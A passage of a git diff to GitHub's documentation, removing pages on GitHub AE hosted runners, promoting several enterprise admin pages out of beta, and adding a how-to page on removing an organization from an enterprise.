they're labeled. - -For example, if you have a job that requires a specific software package, you can create a custom label called `octocat` and assign it to the runners that have the package installed. An {% data variables.actions.hosted_runner %} that matches all the assigned labels will then be eligible to run the job. - -This example shows a job that uses multiple labels: - -```yaml -runs-on: [AE-runner-for-CI, octocat, linux] -``` - -These labels operate cumulatively, so an {% data variables.actions.hosted_runner %}'s labels must match all of them for it to be eligible to process the job. diff --git a/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md b/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md deleted file mode 100644 index 455cb7aecb..0000000000 --- a/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Using groups to manage access to AE hosted runners -intro: 'You can use policies to limit access to {% data variables.actions.hosted_runner %}s that have been added to an organization or enterprise.' -versions: - ghae: '*' -shortTitle: Manage AE runner groups ---- - -{% data reusables.actions.ae-hosted-runners-beta %} - -## About {% data variables.actions.hosted_runner %} groups - -{% data variables.actions.hosted_runner %} groups are used to control access to {% data variables.actions.hosted_runner %}s at the organization and enterprise level. Enterprise admins can configure access policies that control which organizations in an enterprise have access to the runner group. Organization admins can configure access policies that control which repositories in an organization have access to the runner group. - -When an enterprise admin grants an organization access to a runner group, organization admins can see the runner group listed in the organization's {% data variables.actions.hosted_runner %} settings. The organizations admins can then assign additional granular repository access policies to the enterprise runner group. - -When new runners are created, they are automatically assigned to the default group. Runners can only be in one group at a time. You can move runners from the default group to another group. For more information, see "[Moving an {% data variables.actions.hosted_runner %} to a group](#moving-an-ae-hosted-runner-to-a-group)." - -## Creating an {% data variables.actions.hosted_runner %} group for an organization - -All organizations have a single default {% data variables.actions.hosted_runner %} group. Organizations within an enterprise account can create additional runner groups. Organization admins can allow individual repositories access to a runner group. - -{% data variables.actions.hosted_runner %}s are automatically assigned to the default group when created, and can only be members of one group at a time. You can move a runner from the default group to any group you create. - -When creating a group, you must choose a policy that defines which repositories have access to the runner group. - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions %} -1. In the **Self-hosted runners** section, click **Add new**, and then **New group**. - - ![Add runner group](/assets/images/help/settings/actions-hosted-runner-add-new-group.png) - - {% data reusables.github-actions.runner-group-assign-policy-repo %} -1. Click **Save group** to create the group and apply the policy. - -## Creating an {% data variables.actions.hosted_runner %} group for an enterprise - -Enterprises can add their {% data variables.actions.hosted_runner %}s to groups for access management. Enterprises can create groups of {% data variables.actions.hosted_runner %}s that are accessible to specific organizations in the enterprise account. Organization admins can then assign additional granular repository access policies to the enterprise runner groups. - -{% data variables.actions.hosted_runner %}s are automatically assigned to the default group when created, and can only be members of one group at a time. You can assign the runner to a specific group during the registration process, or you can later move the runner from the default group to a custom group. - -When creating a group, you must choose a policy that defines which organizations have access to the runner group. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -1. Click the **Self-hosted runners** tab. -1. Click **Add new**, and then **New group**. - - ![Add runner group](/assets/images/help/settings/actions-hosted-runner-add-new-group.png) - - {% data reusables.github-actions.runner-group-assign-policy-org %} - -1. Click **Save group** to create the group and apply the policy. - -## Changing the access policy of an {% data variables.actions.hosted_runner %} group - -You can update the access policy of a runner group, or rename a runner group. - -{% data reusables.github-actions.hosted-runner-configure-runner-group-access %} - -## Moving an {% data variables.actions.hosted_runner %} to a group - -New {% data variables.actions.hosted_runner %}s are automatically assigned to the default group, and can then be moved to another group. - -1. In the **Self-hosted runners** section of the settings page, locate the current group of the runner you want to move and expand the list of group members. -![View runner group members](/assets/images/help/settings/actions-hosted-runner-group-members.png) -1. Select the checkbox next to the runner, and then click **Move to group** to see the available destinations. -![Runner group member move](/assets/images/help/settings/actions-hosted-runner-group-member-move.png) -1. To move the runner, click on the destination group. -![Runner group member move](/assets/images/help/settings/actions-hosted-runner-group-member-move-destination.png) - -## Removing an {% data variables.actions.hosted_runner %} group - -{% data variables.actions.hosted_runner %}s are automatically returned to the default group when their group is removed. - -1. In the **Self-hosted runners** section of the settings page, locate the group you want to delete, and click the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} button. - ![View runner group settings](/assets/images/help/settings/actions-hosted-runner-group-kebab.png) - -1. To remove the group, click **Remove group**. - - ![View runner group settings](/assets/images/help/settings/actions-hosted-runner-group-remove.png) - -1. Review the confirmation prompts, and click **Remove this runner group**. diff --git a/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md b/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md deleted file mode 100644 index 605bccf02a..0000000000 --- a/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Using labels with AE hosted runners -intro: 'You can use labels to organize your {% data variables.actions.hosted_runner %}s based on their characteristics.' -versions: - ghae: '*' -shortTitle: Label AE hosted runners ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -For information on how to use labels to route jobs to specific types of {% data variables.actions.hosted_runner %}s, see "[Using {% data variables.actions.hosted_runner %}s in a workflow](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)." - - -{% note %} - -**Note:** To manage labels for your {% data variables.actions.hosted_runner %}s, you will need to contact {% data variables.product.prodname_dotcom %} support. - -{% endnote %} - -## Viewing the labels for your {% data variables.actions.hosted_runner %}s -{% data reusables.github-actions.hosted-runner-navigate-to-repo-org-enterprise %} -{% data reusables.github-actions.hosted-runner-list %} -{% data reusables.github-actions.hosted-runner-list-group %} -1. Locate the runner you want to check, and click {% octicon "triangle-down" aria-label="The downward triangle" %} to view the label selection menu. Labels already assigned to your runner have a {% octicon "check" aria-label="Check mark" %} next to them. - -![Change runner label](/assets/images/help/settings/actions-hosted-runner-list-label.png) diff --git a/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md b/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md index 1df72aad02..f24c20e6b8 100644 --- a/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md +++ b/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md @@ -70,4 +70,4 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont ## Using {% data variables.product.prodname_actions %} with an IP allow list -{% data reusables.github-actions.ip-allow-list-hosted-runners %} +{% data reusables.github-actions.ip-allow-list-self-hosted-runners %} diff --git a/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md b/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md index 52b99fa99f..5a1202b892 100644 --- a/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md +++ b/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md @@ -13,7 +13,7 @@ redirect_from: permissions: 'Enterprise owners who are also owners of a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable {% data variables.product.prodname_github_connect %}.' versions: ghes: '*' - ghae: next + ghae: '*' type: how_to topics: - Enterprise diff --git a/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md b/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md index 7ae65dd0ef..2691561e8b 100644 --- a/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md +++ b/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md @@ -46,7 +46,7 @@ If you enable vulnerability detection, when {% data variables.product.product_lo ### Prerequisites For {% data variables.product.product_location %} to detect vulnerable dependencies and generate {% data variables.product.prodname_dependabot_alerts %}: -- You must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghae %}This also enables the dependency graph service. {% endif %}{% ifversion ghes or ghae-next %}For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."{% endif %} +- You must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghae %}This also enables the dependency graph service. {% endif %}{% ifversion ghes or ghae %}For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."{% endif %} {% ifversion ghes %}- You must enable the dependency graph service.{% endif %} - You must enable vulnerability scanning. diff --git a/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md b/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md index 3147912f21..22ccd67d2e 100644 --- a/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md +++ b/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md @@ -13,7 +13,7 @@ redirect_from: permissions: 'Enterprise owners who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable unified contributions between {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}.' versions: ghes: '*' - ghae: next + ghae: '*' type: how_to topics: - Enterprise diff --git a/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md b/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md index 412d68ed18..e857470482 100644 --- a/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md +++ b/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md @@ -13,7 +13,7 @@ redirect_from: permissions: 'Enterprise owners who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable unified search between {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %}.' versions: ghes: '*' - ghae: next + ghae: '*' type: how_to topics: - Enterprise diff --git a/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md b/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md index b77a0669ae..c5a822c47a 100644 --- a/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md +++ b/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md @@ -11,7 +11,7 @@ redirect_from: - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud versions: ghes: '*' - ghae: next + ghae: '*' type: how_to topics: - Enterprise diff --git a/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md b/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md index 6b94aa303c..caad89aa5f 100644 --- a/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md +++ b/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md @@ -14,7 +14,6 @@ redirect_from: - /admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae --- -{% data reusables.actions.ae-beta %} ## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %} @@ -32,12 +31,6 @@ You can use policies to manage access to {% data variables.product.prodname_acti ## Adding runners -{% note %} +You can configure and host servers to run jobs for your enterprise on {% data variables.product.product_name %}. {% data reusables.actions.about-self-hosted-runners %} For more information, see "[Hosting your own runners](/actions/hosting-your-own-runners)." -**Note:** To add {% data variables.actions.hosted_runner %}s to {% data variables.product.prodname_ghe_managed %}, you will need to contact {% data variables.product.prodname_dotcom %} support. - -{% endnote %} - -To run {% data variables.product.prodname_actions %} workflows, you need to add runners. You can add runners at the enterprise, organization, or repository levels. For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." - -{% data reusables.actions.general-security-hardening %} \ No newline at end of file +{% data reusables.actions.general-security-hardening %} diff --git a/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md index 33a3273bf7..6114f313f6 100644 --- a/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md +++ b/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md @@ -104,8 +104,12 @@ Finally, you should consider security hardening for self-hosted runners. For mor You must configure external blob storage for these artifacts. Decide which supported storage provider your enterprise will use. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)." {% endif %} +{% ifversion ghec or ghes %} + {% data reusables.github-actions.artifact-log-retention-statement %} +{% endif %} + If you want to retain logs and artifacts longer than the upper limit you can configure in {% data variables.product.product_name %}, you'll have to plan how to export and store the data. {% ifversion ghec %} diff --git a/content/admin/github-actions/index.md b/content/admin/github-actions/index.md index 808fdae5b0..73a6fd37b8 100644 --- a/content/admin/github-actions/index.md +++ b/content/admin/github-actions/index.md @@ -20,4 +20,3 @@ shortTitle: Manage GitHub Actions {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} diff --git a/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md b/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md index c04ba00eea..8dba3031c4 100644 --- a/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md +++ b/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md @@ -8,7 +8,7 @@ redirect_from: - /admin/github-actions/about-using-actions-in-your-enterprise versions: ghes: '*' - ghae: next + ghae: '*' type: overview topics: - Actions @@ -18,7 +18,6 @@ shortTitle: Add actions in your enterprise {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} {% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community. diff --git a/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md b/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md index 3470da6098..d3ee731724 100644 --- a/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md +++ b/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md @@ -7,7 +7,7 @@ redirect_from: - /admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect versions: ghes: '*' - ghae: next + ghae: '*' type: how_to topics: - Actions diff --git a/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md b/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md index c13ca24acb..ce67a6d17e 100644 --- a/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md +++ b/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md @@ -5,7 +5,7 @@ redirect_from: - /enterprise/admin/github-actions/managing-access-to-actions-from-githubcom versions: ghes: '*' - ghae: next + ghae: '*' topics: - Enterprise children: diff --git a/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md b/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md index aca31e0e64..1af5a98dfd 100644 --- a/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md +++ b/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md @@ -6,7 +6,7 @@ redirect_from: - /admin/github-actions/manually-syncing-actions-from-githubcom versions: ghes: '*' - ghae: next + ghae: '*' type: tutorial topics: - Actions @@ -16,11 +16,10 @@ shortTitle: Manually sync actions {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} {% data reusables.actions.enterprise-no-internet-actions %} -{% ifversion ghes or ghae-next %} +{% ifversion ghes or ghae %} The recommended approach of enabling access to actions from {% data variables.product.prodname_dotcom_the_website %} is to enable automatic access to all actions. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." diff --git a/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md b/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md index abac8e869b..13089317ad 100644 --- a/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md +++ b/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md @@ -6,7 +6,7 @@ redirect_from: - /admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access versions: ghes: '*' - ghae: next + ghae: '*' type: tutorial topics: - Actions @@ -17,7 +17,6 @@ shortTitle: Tool cache for offline runners --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About the included setup actions and the runner tool cache diff --git a/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md b/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md index a4e9e42420..08e4a772d2 100644 --- a/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md +++ b/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md @@ -3,7 +3,7 @@ title: Using the latest version of the official bundled actions intro: 'You can update the actions that are bundled with your enterprise, or use actions directly from {% data variables.product.prodname_dotcom_the_website %}.' versions: ghes: '*' - ghae: next + ghae: '*' type: how_to topics: - Actions @@ -15,7 +15,6 @@ shortTitle: Use the latest bundled actions --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} Your enterprise instance includes a number of built-in actions that you can use in your workflows. For more information about the bundled actions, see "[Official actions bundled with your enterprise instance](/admin/github-actions/about-using-actions-in-your-enterprise#official-actions-bundled-with-your-enterprise-instance)." diff --git a/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md b/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md index 9099422ce5..5228957db1 100644 --- a/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md +++ b/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md @@ -12,7 +12,6 @@ redirect_from: shortTitle: Use actions --- -{% data reusables.actions.ae-beta %} {% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community. diff --git a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md index 15f16b0e13..889ee49ed7 100644 --- a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md +++ b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md @@ -6,7 +6,7 @@ product: '{% data reusables.gated-features.ghas %}' versions: ghec: '*' ghes: '>=3.1' - ghae: next + ghae: '*' type: how_to topics: - Advanced Security diff --git a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md index 99179a580a..246bc09758 100644 --- a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md +++ b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md @@ -26,7 +26,6 @@ shortTitle: GitHub Actions policies --- {% data reusables.actions.enterprise-beta %} -{% data reusables.actions.ae-beta %} ## About policies for {% data variables.product.prodname_actions %} in your enterprise @@ -108,7 +107,7 @@ You can enforce policies to control how {% data variables.product.prodname_actio {% endif %} -{% ifversion ghec or ghes > 3.1 or ghae-next %} +{% ifversion ghec or ghes > 3.1 or ghae %} ## Enforcing a policy for workflow permissions in your enterprise diff --git a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md index 9d7612d2df..68e7fb8975 100644 --- a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md +++ b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md @@ -73,16 +73,16 @@ If an enterprise owner disallows members from creating certain types of reposito {% endif %} -## Enforcing a policy for {% ifversion ghec or ghes > 3.1 or ghae-next %}base{% else %}default{% endif %} repository permissions +## Enforcing a policy for {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}default{% endif %} repository permissions -Across all organizations owned by your enterprise, you can set a {% ifversion ghec or ghes > 3.1 or ghae-next %}base{% else %}default{% endif %} repository permission level (none, read, write, or admin) for organization members, or allow owners to administer the setting on the organization level. +Across all organizations owned by your enterprise, you can set a {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}default{% endif %} repository permission level (none, read, write, or admin) for organization members, or allow owners to administer the setting on the organization level. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.repositories-tab %} -4. Under "{% ifversion ghec or ghes > 3.1 or ghae-next %}Base{% else %}Default{% endif %} permissions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -5. Under "{% ifversion ghec or ghes > 3.1 or ghae-next %}Base{% else %}Default{% endif %} permissions", use the drop-down menu and choose a policy. - {% ifversion ghec or ghes > 3.1 or ghae-next %} +4. Under "{% ifversion ghec or ghes > 3.1 or ghae %}Base{% else %}Default{% endif %} permissions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. Under "{% ifversion ghec or ghes > 3.1 or ghae %}Base{% else %}Default{% endif %} permissions", use the drop-down menu and choose a policy. + {% ifversion ghec or ghes > 3.1 or ghae %} ![Drop-down menu with repository permissions policy options](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png) {% else %} ![Drop-down menu with repository permissions policy options](/assets/images/enterprise/business-accounts/repository-permissions-policy-drop-down.png) diff --git a/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md b/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md index 8a68e62c4f..8e5c3ea588 100644 --- a/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md +++ b/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md @@ -43,7 +43,7 @@ Enterprise owners who create an organization owned by the enterprise account aut ## Inviting an organization to join your enterprise account -Enterprise owners can invite existing organizations to join their enterprise account. If the organization you want to invite is already owned by another enterprise, you will not be able to issue an invitation until the previous enterprise gives up ownership of the organization. +Enterprise owners can invite existing organizations to join their enterprise account. If the organization you want to invite is already owned by another enterprise, you will not be able to issue an invitation until the previous enterprise gives up ownership of the organization. For more information, see "[Removing an organization from your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise)." {% data reusables.enterprise-accounts.access-enterprise %} 2. On the **Organizations** tab, above the list of organizations, click **Invite organization**. diff --git a/content/admin/user-management/managing-organizations-in-your-enterprise/index.md b/content/admin/user-management/managing-organizations-in-your-enterprise/index.md index 4a7f8f7101..11ee5f9dd3 100644 --- a/content/admin/user-management/managing-organizations-in-your-enterprise/index.md +++ b/content/admin/user-management/managing-organizations-in-your-enterprise/index.md @@ -26,8 +26,8 @@ children: - /viewing-the-audit-logs-for-organizations-in-your-enterprise - /streaming-the-audit-logs-for-organizations-in-your-enterprise-account - /removing-users-from-teams-and-organizations + - /removing-organizations-from-your-enterprise - /managing-projects-using-jira - /continuous-integration-using-jenkins shortTitle: Manage organizations --- - diff --git a/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md b/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md new file mode 100644 index 0000000000..0ba1cedf87 --- /dev/null +++ b/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md @@ -0,0 +1,31 @@ +--- +title: Removing organizations from your enterprise +intro: 'If an organization should no longer be a part of your enterprise, you can remove the organization.' +permissions: 'Enterprise owners can remove any organization from their enterprise.' +versions: + ghec: '*' +type: how_to +topics: + - Enterprise +shortTitle: Removing organizations +--- + +{% warning %} + +**Warning**: When you remove an organization from your enterprise: +- Billing, identity management, 2FA requirements, and other policies for the organization will no longer be governed by your enterprise. +- The organization will be downgraded to the free plan. +- The organization will be governed by our standard Terms of Service. +- Any internal repositories within the organization will be converted to private repositories. + +{% endwarning %} + +## Removing an organization from your Enterprise + +{% data reusables.enterprise-accounts.access-enterprise %} +2. Under "Organizations", in the search bar, begin typing the organization's name until the organization appears in the search results. +![Screenshot of the search field for organizations](/assets/images/help/enterprises/organization-search.png) +3. To the right of the organization's name, select the {% octicon "gear" aria-label="The gear icon" %} drop-down menu and click **Remove organization**. +![Screenshot of an organization in search results](/assets/images/help/enterprises/remove-organization.png) +4. Review the warnings, then click **Remove organization**. +![Screenshot of a warning message and button to remove organization](/assets/images/help/enterprises/remove-organization-warning.png) diff --git a/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md b/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md index f7076a7ad1..2c57090629 100644 --- a/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md +++ b/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md @@ -58,7 +58,7 @@ Action | Description ## Enterprise configuration settings Action | Description ------------------------------------------------ | -------------------------------------------{% ifversion ghes > 3.0 or ghae-next %} +----------------------------------------------- | -------------------------------------------{% ifversion ghes > 3.0 or ghae %} `business.advanced_security_policy_update` | A site admin creates, updates, or removes a policy for {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."{% endif %} `business.clear_members_can_create_repos` | A site admin clears a restriction on repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes > 3.1 %} `business.referrer_override_enable` | A site admin enables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)." @@ -102,7 +102,7 @@ Action | Description ## Pull requests | Action | Description | -| :- | :- |{% ifversion ghes > 3.1 or ghae-next %} +| :- | :- |{% ifversion ghes > 3.1 or ghae %} | `pull_request.create` | A pull request was created. For more information, see "[Creating a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)." | | `pull_request.close` | A pull request was closed without being merged. For more information, see "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)." | | `pull_request.reopen` | A pull request was reopened after previously being closed. | @@ -197,7 +197,7 @@ Action | Description `user.two_factor_requested` | A user was prompted for a two-factor authentication code.{% endif %} `user.unsuspend` | A user account was unsuspended by a site admin. -{% ifversion ghes > 3.1 or ghae-next %} +{% ifversion ghes > 3.1 or ghae %} ## Workflows {% data reusables.actions.actions-audit-events-workflow %} diff --git a/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md b/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md index 8abeaf8aae..17b3890a45 100644 --- a/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md +++ 